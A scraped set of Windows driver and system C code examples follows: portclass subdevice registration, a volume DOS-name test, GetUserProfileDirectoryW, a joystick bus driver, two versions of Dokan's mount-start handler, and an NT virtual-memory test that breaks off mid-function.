Example #1
1
NTSTATUS
NTAPI
PcRegisterSubdevice(
    IN  PDEVICE_OBJECT DeviceObject,
    IN  PWCHAR Name,
    IN  PUNKNOWN Unknown)
{
    PPCLASS_DEVICE_EXTENSION DeviceExt;
    NTSTATUS Status;
    ISubdevice *SubDevice;
    UNICODE_STRING SymbolicLinkName;
    PSUBDEVICE_DESCRIPTOR SubDeviceDescriptor;
    ULONG Index;
    UNICODE_STRING RefName;
    PSYMBOLICLINK_ENTRY SymEntry;

    DPRINT("PcRegisterSubdevice DeviceObject %p Name %S Unknown %p\n", DeviceObject, Name, Unknown);

    PC_ASSERT_IRQL_EQUAL(PASSIVE_LEVEL);

    // check if all parameters are valid
    if (!DeviceObject || !Name || !Unknown)
    {
        DPRINT("PcRegisterSubdevice invalid parameter\n");
        return STATUS_INVALID_PARAMETER;
    }

    // get device extension
    DeviceExt = (PPCLASS_DEVICE_EXTENSION)DeviceObject->DeviceExtension;

    if (!DeviceExt)
    {
        // should not happen
        DbgBreakPoint();
        return STATUS_UNSUCCESSFUL;
    }

    // look up our undocumented interface
    Status = Unknown->QueryInterface(IID_ISubdevice, (LPVOID*)&SubDevice);
    if (!NT_SUCCESS(Status))
    {
        DPRINT("No ISubdevice interface\n");
        // the provided port driver doesnt support ISubdevice
        return STATUS_INVALID_PARAMETER;
    }

    // get the subdevice descriptor
    Status = SubDevice->GetDescriptor(&SubDeviceDescriptor);
    if (!NT_SUCCESS(Status))
    {
        DPRINT("Failed to get subdevice descriptor %x\n", Status);
        SubDevice->Release();
        return STATUS_UNSUCCESSFUL;
    }

    // add an create item to the device header
    Status = KsAddObjectCreateItemToDeviceHeader(DeviceExt->KsDeviceHeader, PcCreateItemDispatch, (PVOID)SubDevice, Name, NULL);
    if (!NT_SUCCESS(Status))
    {
        // failed to attach
        SubDevice->Release();
        DPRINT("KsAddObjectCreateItemToDeviceHeader failed with %x\n", Status);
        return Status;
    }

    // initialize reference string
    RtlInitUnicodeString(&RefName, Name);
    RtlInitUnicodeString(&SubDeviceDescriptor->RefString, Name);

    for(Index = 0; Index < SubDeviceDescriptor->InterfaceCount; Index++)
    {
        // FIXME
        // check if reference string with that name already exists
        
        Status = IoRegisterDeviceInterface(DeviceExt->PhysicalDeviceObject,
                                           &SubDeviceDescriptor->Interfaces[Index],
                                           &RefName,
                                           &SymbolicLinkName);

        if (NT_SUCCESS(Status))
        {
            // activate device interface
            IoSetDeviceInterfaceState(&SymbolicLinkName, TRUE);
            // allocate symbolic link entry
            SymEntry = (PSYMBOLICLINK_ENTRY)AllocateItem(NonPagedPool, sizeof(SYMBOLICLINK_ENTRY), TAG_PORTCLASS);
            if (SymEntry)
            {
                // initialize symbolic link item
                RtlInitUnicodeString(&SymEntry->SymbolicLink, SymbolicLinkName.Buffer);
                // store item
                InsertTailList(&SubDeviceDescriptor->SymbolicLinkList, &SymEntry->Entry);
            }
            else
            {
                // allocating failed
                RtlFreeUnicodeString(&SymbolicLinkName);
            }
        }
    }

    // release SubDevice reference
    SubDevice->Release();

    return STATUS_SUCCESS;
}
Example #2
1
static
void
TestIoVolumeDeviceToDosName(void)
{
    NTSTATUS Status;
    ULONG VolumeNumber;
    WCHAR VolumeDeviceNameBuffer[32];
    UNICODE_STRING VolumeDeviceName;
    PFILE_OBJECT FileObject;
    PDEVICE_OBJECT DeviceObject;
    UNICODE_STRING DosName;
    UNICODE_STRING DosVolumePrefix = RTL_CONSTANT_STRING(L"\\\\?\\Volume");

    RtlInitEmptyUnicodeString(&VolumeDeviceName,
                              VolumeDeviceNameBuffer,
                              sizeof(VolumeDeviceNameBuffer));
    VolumeNumber = 0;
    Status = STATUS_SUCCESS;
    while (1)
    {
        Status = GetNextVolumeDevice(&VolumeDeviceName,
                                     &VolumeNumber,
                                     Status);
        if (!NT_SUCCESS(Status))
        {
            trace("GetNextVolumeDevice(0x%lx) failed with %lx\n",
                  VolumeNumber, Status);
            break;
        }

        RtlInitUnicodeString(&VolumeDeviceName, VolumeDeviceNameBuffer);
        Status = IoGetDeviceObjectPointer(&VolumeDeviceName,
                                          READ_CONTROL,
                                          &FileObject,
                                          &DeviceObject);
        if (!NT_SUCCESS(Status))
        {
            trace("IoGetDeviceObjectPointer(%wZ) failed with %lx\n",
                  &VolumeDeviceName, Status);
            continue;
        }

        Status = IoVolumeDeviceToDosName(DeviceObject, &DosName);
        ok_eq_hex(Status, STATUS_SUCCESS);
        if (!skip(NT_SUCCESS(Status), "No DOS name\n"))
        {
            trace("DOS name for %wZ is %wZ\n", &VolumeDeviceName, &DosName);
            if (DosName.Length == 2 * sizeof(WCHAR))
            {
                ok(DosName.Buffer[0] >= L'A' &&
                   DosName.Buffer[0] <= L'Z' &&
                   DosName.Buffer[1] == L':',
                   "Unexpected drive letter: %wZ\n", &DosName);
            }
            else
            {
                ok(RtlPrefixUnicodeString(&DosVolumePrefix, &DosName, FALSE),
                   "Unexpected volume path: %wZ\n", &DosName);
            }
            RtlFreeUnicodeString(&DosName);
        }
        ObDereferenceObject(FileObject);
        Status = STATUS_SUCCESS;
    }
    ok(VolumeNumber > 1, "No volumes found\n");
}
Example #3
0
BOOL
WINAPI
GetUserProfileDirectoryW(HANDLE hToken,
                         LPWSTR lpProfileDir,
                         LPDWORD lpcchSize)
{
    UNICODE_STRING SidString;
    WCHAR szKeyName[MAX_PATH];
    WCHAR szRawImagePath[MAX_PATH];
    WCHAR szImagePath[MAX_PATH];
    DWORD dwLength;
    HKEY hKey;
    LONG Error;

    if (!GetUserSidFromToken(hToken,
                             &SidString))
    {
        DPRINT1("GetUserSidFromToken() failed\n");
        return FALSE;
    }

    DPRINT("SidString: '%wZ'\n", &SidString);

    wcscpy(szKeyName,
           L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\");
    wcscat(szKeyName,
           SidString.Buffer);

    RtlFreeUnicodeString(&SidString);

    DPRINT("KeyName: '%S'\n", szKeyName);

    Error = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                          szKeyName,
                          0,
                          KEY_QUERY_VALUE,
                          &hKey);
    if (Error != ERROR_SUCCESS)
    {
        DPRINT1("Error: %lu\n", Error);
        SetLastError((DWORD)Error);
        return FALSE;
    }

    dwLength = sizeof(szRawImagePath);
    Error = RegQueryValueExW(hKey,
                             L"ProfileImagePath",
                             NULL,
                             NULL,
                             (LPBYTE)szRawImagePath,
                             &dwLength);
    if (Error != ERROR_SUCCESS)
    {
        DPRINT1("Error: %lu\n", Error);
        RegCloseKey(hKey);
        SetLastError((DWORD)Error);
        return FALSE;
    }

    RegCloseKey(hKey);

    DPRINT("RawImagePath: '%S'\n", szRawImagePath);

    /* Expand it */
    if (!ExpandEnvironmentStringsW(szRawImagePath,
                                   szImagePath,
                                   MAX_PATH))
    {
        DPRINT1 ("Error: %lu\n", GetLastError());
        return FALSE;
    }

    DPRINT("ImagePath: '%S'\n", szImagePath);

    dwLength = wcslen (szImagePath) + 1;
    if (*lpcchSize < dwLength)
    {
        *lpcchSize = dwLength;
        SetLastError(ERROR_INSUFFICIENT_BUFFER);
        return FALSE;
    }

    *lpcchSize = dwLength;
    wcscpy(lpProfileDir, szImagePath);

    return TRUE;
}
Example #4
0
NTSTATUS PPJoyBus_AddDevice (IN PDRIVER_OBJECT DriverObject, IN PDEVICE_OBJECT PhysicalDeviceObject)
{
 NTSTATUS			ntStatus;
 PDEVICE_OBJECT		DeviceObject;
 PBUS_DEVICE_DATA	BusDeviceData;

 PAGED_CODE ();

 ntStatus= STATUS_SUCCESS;

 PPJOY_DBGPRINT (FILE_PPJOYBUS|PPJOY_FENTRY, ("PPJoyBus_AddDevice(DriverObject=0x%p,FunctionalDeviceObject=0x%p)",DriverObject,PhysicalDeviceObject) );

 /* Create our FDO device */
 ntStatus= IoCreateDevice (DriverObject,sizeof(BUS_DEVICE_DATA),NULL,FILE_DEVICE_BUS_EXTENDER,FILE_DEVICE_SECURE_OPEN,TRUE,&DeviceObject);
 /* Check to see if we could create the device. If not, exit. */
 if (!NT_SUCCESS (ntStatus)) 
 {
  PPJoyBus_WriteEventLog (PPJ_MSG_ERRORCREATINGBUS,&ntStatus,sizeof(ntStatus),L"");
  PPJOY_DBGPRINT (FILE_PPJOYBUS|PPJOY_ERROR, ("PPJoyBus_AddDevice: IoCreateDevice failed status= 0x%x)",ntStatus) );
  goto ExitNoDelete;
 }

 /* Setup our DeviceExtension */
 BusDeviceData= (PBUS_DEVICE_DATA) DeviceObject->DeviceExtension;
 RtlZeroMemory (BusDeviceData,sizeof(BUS_DEVICE_DATA));
 BusDeviceData->Flags|= PPJFLAGS_ISBUSDEV;

 /* Tell IOManager et al that we are pagable. */
 DeviceObject->Flags|= DO_POWER_PAGABLE;

 /* Attempt to register an interface for this DeviceObject. It will be */
 /* called by the configuration utility to add and remove joysticks.   */
 ntStatus= IoRegisterDeviceInterface (PhysicalDeviceObject,(LPGUID) &GUID_PPJOY_BUS,NULL,&BusDeviceData->InterfaceName);
 /* If we could not register the interface then we exit and delete the DO */
 if (!NT_SUCCESS (ntStatus))
 {
  PPJOY_DBGPRINT (FILE_PPJOYBUS|PPJOY_ERROR, ("PPJoyBus_AddDevice: IoRegisterDeviceInterface failed status= 0x%x)",ntStatus) );
  PPJoyBus_WriteEventLog (PPJ_MSG_ERRORBUSIF,&ntStatus,sizeof(ntStatus),L"");
  goto ExitDeleteDevice;
 }

 PPJOY_DBGPRINT (FILE_PPJOYBUS|PPJOY_BABBLE2, ("PPJoyBus_AddDevice: IoRegisterDeviceInterface interface name= %S)",BusDeviceData->InterfaceName.Buffer) );
 
 /* Now attach ourselves to the device stack. The return value is the next */
 /* lower down Device Object. This is where all the IRPs should be routed. */
 BusDeviceData->NextLowerDriver= IoAttachDeviceToDeviceStack (DeviceObject,PhysicalDeviceObject);
 /* Test if our attach was successful, exit if not. */
 if(!BusDeviceData->NextLowerDriver)
 {
  PPJOY_DBGPRINT (FILE_PPJOYBUS|PPJOY_ERROR, ("PPJoyBus_AddDevice: IoAttachDeviceToDeviceStack failed status= 0x%x)",ntStatus) );
  ntStatus= STATUS_NO_SUCH_DEVICE;

  PPJoyBus_WriteEventLog (PPJ_MSG_ERRORBUSATTACH,&ntStatus,sizeof(ntStatus),L"");
  RtlFreeUnicodeString (&BusDeviceData->InterfaceName);
  goto ExitDeleteDevice;
 }

 /* Save important pointers in our DeviceExtenstion for later use. */
 BusDeviceData->DriverObject= DriverObject;
 BusDeviceData->Self= DeviceObject;
 BusDeviceData->UnderlyingPDO= PhysicalDeviceObject;

 /* Initialise per DeviceObject objects */
 InitializeListHead (&BusDeviceData->JoystickList);
 KeInitializeEvent (&BusDeviceData->RemoveEvent,SynchronizationEvent,FALSE);

 /* Read configuration options from the registry */
 PPJoyBus_ReadOptionsFromReg (DeviceObject);

 /* Read persistent joystick device data from the registry and create PDOs */
 /* This call can possibly move to the DriverEntry routine???              */
 PPJoyBus_CreateFromRegistry (DeviceObject);

 /* Done initializing, clear flag. Should be the final step in AddDevice.  */
 DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
 goto ExitNoDelete;

ExitDeleteDevice:
 IoDeleteDevice (DeviceObject);

ExitNoDelete:
 PPJOY_EXITPROC (FILE_PPJOYBUS|PPJOY_FEXIT_STATUSOK, "PPJoyBus_AddDevice",ntStatus);

 return ntStatus;
}
Example #5
0
// start event dispatching
NTSTATUS
DokanEventStart(__in PDEVICE_OBJECT DeviceObject, __in PIRP Irp) {
  ULONG outBufferLen;
  ULONG inBufferLen;
  PIO_STACK_LOCATION irpSp;
  EVENT_START eventStart;
  PEVENT_DRIVER_INFO driverInfo;
  PDOKAN_GLOBAL dokanGlobal;
  PDokanDCB dcb;
  NTSTATUS status;
  DEVICE_TYPE deviceType;
  ULONG deviceCharacteristics = 0;
  WCHAR baseGuidString[64];
  GUID baseGuid = DOKAN_BASE_GUID;
  UNICODE_STRING unicodeGuid;
  ULONG deviceNamePos;
  BOOLEAN useMountManager = FALSE;
  BOOLEAN mountGlobally = TRUE;
  BOOLEAN fileLockUserMode = FALSE;

  DDbgPrint("==> DokanEventStart\n");

  dokanGlobal = DeviceObject->DeviceExtension;
  if (GetIdentifierType(dokanGlobal) != DGL) {
    return STATUS_INVALID_PARAMETER;
  }

  irpSp = IoGetCurrentIrpStackLocation(Irp);

  outBufferLen = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
  inBufferLen = irpSp->Parameters.DeviceIoControl.InputBufferLength;

  if (outBufferLen != sizeof(EVENT_DRIVER_INFO) ||
      inBufferLen != sizeof(EVENT_START)) {
    return STATUS_INSUFFICIENT_RESOURCES;
  }

  RtlCopyMemory(&eventStart, Irp->AssociatedIrp.SystemBuffer,
                sizeof(EVENT_START));
  driverInfo = Irp->AssociatedIrp.SystemBuffer;

  if (eventStart.UserVersion != DOKAN_DRIVER_VERSION) {
    driverInfo->DriverVersion = DOKAN_DRIVER_VERSION;
    driverInfo->Status = DOKAN_START_FAILED;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = sizeof(EVENT_DRIVER_INFO);
    return STATUS_SUCCESS;
  }

  switch (eventStart.DeviceType) {
  case DOKAN_DISK_FILE_SYSTEM:
    deviceType = FILE_DEVICE_DISK_FILE_SYSTEM;
    break;
  case DOKAN_NETWORK_FILE_SYSTEM:
    deviceType = FILE_DEVICE_NETWORK_FILE_SYSTEM;
    deviceCharacteristics |= FILE_REMOTE_DEVICE;
    break;
  default:
    DDbgPrint("  Unknown device type: %d\n", eventStart.DeviceType);
    deviceType = FILE_DEVICE_DISK_FILE_SYSTEM;
  }

  if (eventStart.Flags & DOKAN_EVENT_REMOVABLE) {
    DDbgPrint("  DeviceCharacteristics |= FILE_REMOVABLE_MEDIA\n");
    deviceCharacteristics |= FILE_REMOVABLE_MEDIA;
  }

  if (eventStart.Flags & DOKAN_EVENT_WRITE_PROTECT) {
    DDbgPrint("  DeviceCharacteristics |= FILE_READ_ONLY_DEVICE\n");
    deviceCharacteristics |= FILE_READ_ONLY_DEVICE;
  }

  if (eventStart.Flags & DOKAN_EVENT_MOUNT_MANAGER) {
    DDbgPrint("  Using Mount Manager\n");
    useMountManager = TRUE;
  }

  if (eventStart.Flags & DOKAN_EVENT_CURRENT_SESSION) {
    DDbgPrint("  Mounting on current session only\n");
    mountGlobally = FALSE;
  }

  if (eventStart.Flags & DOKAN_EVENT_FILELOCK_USER_MODE) {
    DDbgPrint("  FileLock in User Mode\n");
    fileLockUserMode = TRUE;
  }

  KeEnterCriticalRegion();
  ExAcquireResourceExclusiveLite(&dokanGlobal->Resource, TRUE);

  DOKAN_CONTROL dokanControl;
  RtlZeroMemory(&dokanControl, sizeof(dokanControl));
  RtlStringCchCopyW(dokanControl.MountPoint, MAXIMUM_FILENAME_LENGTH,
                    L"\\DosDevices\\");
  if (wcslen(eventStart.MountPoint) == 1) {
    dokanControl.MountPoint[12] = towupper(eventStart.MountPoint[0]);
    dokanControl.MountPoint[13] = L':';
    dokanControl.MountPoint[14] = L'\0';
  } else {
    RtlStringCchCatW(dokanControl.MountPoint, MAXIMUM_FILENAME_LENGTH,
                     eventStart.MountPoint);
  }

  DDbgPrint("  Checking for MountPoint %ls \n", dokanControl.MountPoint);
  PMOUNT_ENTRY foundEntry = FindMountEntry(dokanGlobal, &dokanControl, FALSE);
  if (foundEntry != NULL) {
    DDbgPrint("  MountPoint exists already %ls \n", dokanControl.MountPoint);
    driverInfo->DriverVersion = DOKAN_DRIVER_VERSION;
    driverInfo->Status = DOKAN_START_FAILED;
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = sizeof(EVENT_DRIVER_INFO);
    ExReleaseResourceLite(&dokanGlobal->Resource);
    KeLeaveCriticalRegion();
    return STATUS_SUCCESS;
  }

  baseGuid.Data2 = (USHORT)(dokanGlobal->MountId & 0xFFFF) ^ baseGuid.Data2;
  baseGuid.Data3 = (USHORT)(dokanGlobal->MountId >> 16) ^ baseGuid.Data3;

  status = RtlStringFromGUID(&baseGuid, &unicodeGuid);
  if (!NT_SUCCESS(status)) {
    ExReleaseResourceLite(&dokanGlobal->Resource);
    KeLeaveCriticalRegion();
    return status;
  }
  RtlZeroMemory(baseGuidString, sizeof(baseGuidString));
  RtlStringCchCopyW(baseGuidString, sizeof(baseGuidString) / sizeof(WCHAR),
                    unicodeGuid.Buffer);
  RtlFreeUnicodeString(&unicodeGuid);

  InterlockedIncrement((LONG *)&dokanGlobal->MountId);

  status = DokanCreateDiskDevice(
      DeviceObject->DriverObject, dokanGlobal->MountId, eventStart.MountPoint,
      eventStart.UNCName, baseGuidString, dokanGlobal, deviceType,
      deviceCharacteristics, mountGlobally, useMountManager, &dcb);

  if (!NT_SUCCESS(status)) {
    ExReleaseResourceLite(&dokanGlobal->Resource);
    KeLeaveCriticalRegion();
    return status;
  }

  dcb->FileLockInUserMode = fileLockUserMode;

  DDbgPrint("  MountId:%d\n", dcb->MountId);
  driverInfo->DeviceNumber = dokanGlobal->MountId;
  driverInfo->MountId = dokanGlobal->MountId;
  driverInfo->Status = DOKAN_MOUNTED;
  driverInfo->DriverVersion = DOKAN_DRIVER_VERSION;

  // SymbolicName is
  // \\DosDevices\\Global\\Volume{D6CC17C5-1734-4085-BCE7-964F1E9F5DE9}
  // Finds the last '\' and copy into DeviceName.
  // DeviceName is \Volume{D6CC17C5-1734-4085-BCE7-964F1E9F5DE9}
  deviceNamePos = dcb->SymbolicLinkName->Length / sizeof(WCHAR) - 1;
  for (; dcb->SymbolicLinkName->Buffer[deviceNamePos] != L'\\'; --deviceNamePos)
    ;
  RtlStringCchCopyW(driverInfo->DeviceName,
                    sizeof(driverInfo->DeviceName) / sizeof(WCHAR),
                    &(dcb->SymbolicLinkName->Buffer[deviceNamePos]));

  // Set the irp timeout in milliseconds
  // If the IrpTimeout is 0, we assume that the value was not changed
  dcb->IrpTimeout = DOKAN_IRP_PENDING_TIMEOUT;
  if (eventStart.IrpTimeout > 0) {
    if (eventStart.IrpTimeout > DOKAN_IRP_PENDING_TIMEOUT_RESET_MAX) {
      eventStart.IrpTimeout = DOKAN_IRP_PENDING_TIMEOUT_RESET_MAX;
    }

    if (eventStart.IrpTimeout < DOKAN_IRP_PENDING_TIMEOUT) {
      eventStart.IrpTimeout = DOKAN_IRP_PENDING_TIMEOUT;
    }
    dcb->IrpTimeout = eventStart.IrpTimeout;
  }

  DDbgPrint("  DeviceName:%ws\n", driverInfo->DeviceName);

  dcb->UseAltStream = 0;
  if (eventStart.Flags & DOKAN_EVENT_ALTERNATIVE_STREAM_ON) {
    DDbgPrint("  ALT_STREAM_ON\n");
    dcb->UseAltStream = 1;
  }

  DokanStartEventNotificationThread(dcb);

  ExReleaseResourceLite(&dokanGlobal->Resource);
  KeLeaveCriticalRegion();

  IoVerifyVolume(dcb->DeviceObject, FALSE);

  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = sizeof(EVENT_DRIVER_INFO);

  DDbgPrint("<== DokanEventStart\n");

  return Irp->IoStatus.Status;
}
Example #6
0
// start event dispatching
NTSTATUS
DokanEventStart(
    __in PDEVICE_OBJECT DeviceObject,
    __in PIRP Irp
   )
{
	ULONG				outBufferLen;
	ULONG				inBufferLen;
	PIO_STACK_LOCATION	irpSp;
	EVENT_START			eventStart;
	PEVENT_DRIVER_INFO	driverInfo;
	PDOKAN_GLOBAL		dokanGlobal;
	PDokanDCB			dcb;
	NTSTATUS			status;
	DEVICE_TYPE			deviceType;
	ULONG				deviceCharacteristics;
	WCHAR				baseGuidString[64];
	GUID				baseGuid = DOKAN_BASE_GUID;
	UNICODE_STRING		unicodeGuid;
	ULONG				deviceNamePos;
	

	DDbgPrint("==> DokanEventStart\n");

	dokanGlobal = DeviceObject->DeviceExtension;
	if (GetIdentifierType(dokanGlobal) != DGL) {
		return STATUS_INVALID_PARAMETER;
	}

	irpSp = IoGetCurrentIrpStackLocation(Irp);

	outBufferLen = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
	inBufferLen = irpSp->Parameters.DeviceIoControl.InputBufferLength;

	if (outBufferLen != sizeof(EVENT_DRIVER_INFO) ||
		inBufferLen != sizeof(EVENT_START)) {
		return STATUS_INSUFFICIENT_RESOURCES;
	}

	RtlCopyMemory(&eventStart, Irp->AssociatedIrp.SystemBuffer, sizeof(EVENT_START));
	driverInfo = Irp->AssociatedIrp.SystemBuffer;

	if (eventStart.UserVersion != DOKAN_DRIVER_VERSION) {
		driverInfo->DriverVersion = DOKAN_DRIVER_VERSION;
		driverInfo->Status = DOKAN_START_FAILED;
		Irp->IoStatus.Status = STATUS_SUCCESS;
		Irp->IoStatus.Information = sizeof(EVENT_DRIVER_INFO);
		return STATUS_SUCCESS;
	}

	deviceCharacteristics = FILE_DEVICE_IS_MOUNTED;

	switch (eventStart.DeviceType) {
	case DOKAN_DISK_FILE_SYSTEM:
		deviceType = FILE_DEVICE_DISK_FILE_SYSTEM;
		break;
	case DOKAN_NETWORK_FILE_SYSTEM:
		deviceType = FILE_DEVICE_NETWORK_FILE_SYSTEM;
		deviceCharacteristics |= FILE_REMOTE_DEVICE;
		break;
	default:
		DDbgPrint("  Unknown device type: %d\n", eventStart.DeviceType);
		deviceType = FILE_DEVICE_DISK_FILE_SYSTEM;
	}

	if (eventStart.Flags & DOKAN_EVENT_REMOVABLE) {
		DDbgPrint("  DeviceCharacteristics |= FILE_REMOVABLE_MEDIA\n");
		deviceCharacteristics |= FILE_REMOVABLE_MEDIA;
	}

	baseGuid.Data2 = (USHORT)(dokanGlobal->MountId & 0xFFFF) ^ baseGuid.Data2;
	baseGuid.Data3 = (USHORT)(dokanGlobal->MountId >> 16) ^ baseGuid.Data3;

	status = RtlStringFromGUID(&baseGuid, &unicodeGuid);
	if (!NT_SUCCESS(status)) {
		return status;
	}
	RtlZeroMemory(baseGuidString, sizeof(baseGuidString));
	RtlStringCchCopyW(baseGuidString, sizeof(baseGuidString) / sizeof(WCHAR), unicodeGuid.Buffer);
	RtlFreeUnicodeString(&unicodeGuid);

	InterlockedIncrement((LONG*)&dokanGlobal->MountId);

	KeEnterCriticalRegion();
	ExAcquireResourceExclusiveLite(&dokanGlobal->Resource, TRUE);

	status = DokanCreateDiskDevice(
				DeviceObject->DriverObject,
				dokanGlobal->MountId,
				baseGuidString,
				dokanGlobal,
				deviceType,
				deviceCharacteristics,
				&dcb);

	if (!NT_SUCCESS(status)) {
		ExReleaseResourceLite(&dokanGlobal->Resource);
		KeLeaveCriticalRegion();
		return status;
	}

	DDbgPrint("  MountId:%d\n", dcb->MountId);
	driverInfo->DeviceNumber = dokanGlobal->MountId;
	driverInfo->MountId = dokanGlobal->MountId;
	driverInfo->Status = DOKAN_MOUNTED;
	driverInfo->DriverVersion = DOKAN_DRIVER_VERSION;

	// SymbolicName is \\DosDevices\\Global\\Volume{D6CC17C5-1734-4085-BCE7-964F1E9F5DE9}
	// Finds the last '\' and copy into DeviceName.
	// DeviceName is \Volume{D6CC17C5-1734-4085-BCE7-964F1E9F5DE9}
	deviceNamePos = dcb->SymbolicLinkName->Length / sizeof(WCHAR) - 1;
	for (; dcb->SymbolicLinkName->Buffer[deviceNamePos] != L'\\'; --deviceNamePos)
		;
	RtlStringCchCopyW(driverInfo->DeviceName,
			sizeof(driverInfo->DeviceName) / sizeof(WCHAR),
			&(dcb->SymbolicLinkName->Buffer[deviceNamePos]));

	DDbgPrint("  DeviceName:%ws\n", driverInfo->DeviceName);
	DokanUpdateTimeout(&dcb->TickCount, DOKAN_KEEPALIVE_TIMEOUT);

	dcb->UseAltStream = 0;
	if (eventStart.Flags & DOKAN_EVENT_ALTERNATIVE_STREAM_ON) {
		DDbgPrint("  ALT_STREAM_ON\n");
		dcb->UseAltStream = 1;
	}
	dcb->UseKeepAlive = 0;
	if (eventStart.Flags & DOKAN_EVENT_KEEP_ALIVE_ON) {
		DDbgPrint("  KEEP_ALIVE_ON\n");
		dcb->UseKeepAlive = 1;
	}
	dcb->Mounted = 1;

	DokanStartEventNotificationThread(dcb);
	DokanStartCheckThread(dcb);

	ExReleaseResourceLite(&dokanGlobal->Resource);
	KeLeaveCriticalRegion();

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = sizeof(EVENT_DRIVER_INFO);

	DDbgPrint("<== DokanEventStart\n");

	return Irp->IoStatus.Status;
}
Example #7
0
_CRTAPI1 main()
{
    LONG i, j;
    PULONG p4, p3, p2, p1, oldp1, vp1;
    ULONG Size1, Size2, Size3;
    NTSTATUS status, alstatus;
    HANDLE CurrentProcessHandle;
    HANDLE GiantSection;
    HANDLE Section2, Section4;
    MEMORY_BASIC_INFORMATION MemInfo;
    ULONG OldProtect;
    STRING Name3;
    HANDLE Section1;
    OBJECT_ATTRIBUTES ObjectAttributes;
    OBJECT_ATTRIBUTES Object1Attributes;
    ULONG ViewSize;
    LARGE_INTEGER Offset;
    LARGE_INTEGER SectionSize;
    UNICODE_STRING Unicode;

    CurrentProcessHandle = NtCurrentProcess();

    DbgPrint(" Memory Management Tests - AllocVm, FreeVm, ProtectVm, QueryVm\n");

    p1 = (PULONG)0x20020000;
    Size1 = 0xbc0000;

    alstatus = NtAllocateVirtualMemory (CurrentProcessHandle, (PVOID *)&p1,
                        0, &Size1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (!NT_SUCCESS(alstatus)) {
        DbgPrint("failed first created vm status %X start %lx size %lx\n",
            alstatus, (ULONG)p1, Size1);
        DbgPrint("******** FAILED TEST 1 **************\n");
    }

    status = NtQueryVirtualMemory (CurrentProcessHandle, p1,
                                    MemoryBasicInformation,
                                    &MemInfo, sizeof (MEMORY_BASIC_INFORMATION),
                                    NULL);

    if (!NT_SUCCESS(status)) {
        DbgPrint("******** FAILED TEST 2 **************\n");
        DbgPrint("FAILURE query vm status %X address %lx Base %lx size %lx\n",
             status,
             p1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }
    if ((MemInfo.RegionSize != Size1) || (MemInfo.BaseAddress != p1) ||
        (MemInfo.Protect != PAGE_READWRITE) || (MemInfo.Type != MEM_PRIVATE) ||
        (MemInfo.State != MEM_COMMIT)) {

        DbgPrint("******** FAILED TEST 3 **************\n");
        DbgPrint("FAILURE query vm status %X address %lx Base %lx size %lx\n",
             status,
             p1,
             MemInfo.BaseAddress,
             MemInfo.RegionSize);
        DbgPrint("     state %lx protect %lx type %lx\n",
             MemInfo.State,
             MemInfo.Protect,
             MemInfo.Type);
    }

    p2 = (PULONG)NULL;
    Size2 = 0x100000;

    alstatus = NtAllocateVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&p2,
                                       3,
                                       &Size2,
                                       MEM_TOP_DOWN | MEM_RESERVE | MEM_COMMIT,
                                       PAGE_READWRITE);

    if (!NT_SUCCESS(alstatus)) {
        DbgPrint("failed first created vm status %lC start %lx size %lx\n",
            status, (ULONG)p1, Size1);
        DbgPrint("******** FAILED TEST 3a.1 **************\n");
        NtTerminateProcess(NtCurrentProcess(),status);

    }

    //
    // Touch every other page.
    //

    vp1 = p2 + 3000;
    while (vp1 < (PULONG)((PCHAR)p2 + Size2)) {
        *vp1 = 938;
        vp1 += 3000;
    }

    //
    // Decommit pages.
    //

    Size3 = Size2 - 5044;
    vp1 = p2 + 3000;

    status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&p2,
                                      &Size3,
                                      MEM_DECOMMIT);

    if (!(NT_SUCCESS(status))) {
        DbgPrint(" free vm failed - status %lx\n",status);
        DbgPrint("******** FAILED TEST 3a.4 **************\n");
        NtTerminateProcess(NtCurrentProcess(),status);
    }

    //
    // Split the memory block using MEM_RELEASE.
    //


    vp1 = p2 + 5000;
    Size3 = Size2 - 50000;

    status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&vp1,
                                      &Size3,
                                      MEM_RELEASE);

    if (!(NT_SUCCESS(status))) {
        DbgPrint(" free vm failed - status %lx\n",status);
        DbgPrint("******** FAILED TEST 3a.b **************\n");
        NtTerminateProcess(NtCurrentProcess(),status);
    }

    vp1 = p2 + 3000;
    Size3 = 41;

    status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&vp1,
                                      &Size3,
                                      MEM_RELEASE);

    if (!(NT_SUCCESS(status))) {
        DbgPrint(" free vm failed - status %lx\n",status);
        DbgPrint("******** FAILED TEST 3a.5 **************\n");
        NtTerminateProcess(NtCurrentProcess(),status);
    }

    //
    // free every page, ignore the status.
    //

    vp1 = p2;
    Size3 = 30;
    while (vp1 < (PULONG)((PCHAR)p2 + Size2)) {

        status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&vp1,
                                      &Size3,
                                      MEM_RELEASE);
        vp1 += 128;
    }

    p2 = (PULONG)NULL;
    Size2 = 0x10000;

    status = NtAllocateVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&p2,
                                       3,
                                       &Size2,
                                       MEM_TOP_DOWN | MEM_RESERVE | MEM_COMMIT,
                                       PAGE_READWRITE);

    if (!NT_SUCCESS(status)) {
        DbgPrint("failed first created vm status %X start %lx size %lx\n",
            status, (ULONG)p1, Size1);
        DbgPrint("******** FAILED TEST 3.1 **************\n");
    } else {
        if (p2 != (PVOID)0x1fff0000) {
            DbgPrint("******** FAILED TEST 3.2 **************\n");
            DbgPrint("p2 = %lx\n",p2);
        }
        status = NtFreeVirtualMemory (CurrentProcessHandle,
                                      (PVOID *)&p2,
                                      &Size2,
                                      MEM_RELEASE);

        if (!(NT_SUCCESS(status))) {
